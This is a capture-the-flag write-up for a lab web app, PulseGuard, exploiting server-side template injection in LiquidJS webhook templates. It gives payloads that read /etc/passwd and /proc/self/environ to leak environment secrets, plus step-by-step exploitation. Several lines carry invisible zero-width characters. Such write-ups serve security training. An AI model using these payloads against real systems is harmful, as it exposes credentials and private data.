← Back to Writeups
CUSTOMMediumWeb

Lab 247 — PulseGuard — SSTI in Webhook Notification Templates

XESXOR9/2/20263 min read
#web#custom#medium#lfi_via_include_tag#proc_environ_disclosure#ssti_liquidjs

Lab 247 — PulseGuard — SSTI in Webhook Notification Templates

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: lfi_via_include_tag, proc_environ_disclosure, ssti_liquidjs

Summary

Walkthrough of the CUSTOM Web Lab 247 — PulseGuard — SSTI in Webhook Notification Templates. Task: Express.js uptime monitoring platform with Liquid template support in webhook notifications. Solution: SSTI via LiquidJS include tag to read /proc/self/environ and extract FLAG from environment

Description

PulseGuard is a self-hosted uptime monitoring platform that lets teams track the availability of their websites, APIs, and services. It supports multiple notification channels including email, Slack, and custom webhooks with templated message bodies.

Your organization has deployed PulseGuard to monitor their production infrastructure. Users can configure monitors with custom check intervals and set up alerts with flexible notification routing. The platform supports Liquid template syntax in webhook notification bodies for customizable alert payloads.

Explore the notification system and its templating capabilities closely. Something about how templates are processed might give you more access than intended. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js uptime monitoring application allows users to create webhook notifications with custom body templates using Liquid syntax. The goal is to exploit the template engine to gain unauthorized access.

Credentials: user@test.com / password123

Analysis

  1. The application is an Express.js uptime monitoring platform running behind nginx
  2. After logging in, the dashboard shows monitors and notification channels
  3. The /notifications page shows multiple notification types: Email, Slack, Discord, and Webhook
  4. The /notifications/new page reveals that Webhook type supports "Custom Body (Liquid template)" with variables like {{monitorName}}, {{status}}, etc.
  5. The app uses LiquidJS (https://liquidjs.com/) for template rendering ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Note: The HTML source contains a honeypot/decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden divs designed to trick automated scanners. This is NOT the real flag.

SSTI Confirmation

Created a webhook with a simple arithmetic test:

liquid
{{ 7 | plus: 7 }}

Testing via /api/notifications/:id/test endpoint returned:

json
{
  "success": true,
  "payload_rendered": "Test Monitor - down - SSTI_PROBE_14"
}

The expression evaluated to 14, confirming Server-Side Template Injection. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirm SSTI vulnerability

Create a webhook notification with a Liquid arithmetic expression to verify template injection:

liquid
{{ 7 | plus: 7 }}

The response shows the expression evaluated to 14, confirming SSTI.

Step 2: Test file read via include tag

LiquidJS supports the {% include %} tag which can be abused for arbitrary file reading.

First tested with /etc/passwd:

liquid
{% include '/etc/passwd' %}

This successfully returned the contents of /etc/passwd, confirming Local File Inclusion. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Extract flag from environment variables

Read the environment variables from /proc/self/environ:

liquid
{% include '/proc/self/environ' %}

Response:

HOSTNAME=7fa3e50f4bed
SHLVL=1
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INSTANCE_UUID=4580ef57-c6bb-465d-ba85-7b12c2dd9e23
PWD=/app
FLAG=FLAG{REDACTED}
NODE_ENV=production

Exploitation Steps Summary

  1. Login with provided credentials (user@test.com / password123)
  2. Navigate to /notifications/new
  3. Select "Webhook" as channel type
  4. Choose "Custom Body (Liquid template)"
  5. Enter payload: {% include '/proc/self/environ' %}
  6. Create the webhook
  7. Click "Test" to trigger template rendering
  8. Read the FLAG from environment variables in the response ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Endpoints

  • POST /notifications - Create notification channel
  • POST /api/notifications/:id/test - Test notification (triggers template rendering, returns payload_rendered) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering lfi_via_include_tag, proc_environ_disclosure, ssti_liquidjs was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 247 — PulseGuard — SSTI in Webhook Notification Templates • Difficulty: Medium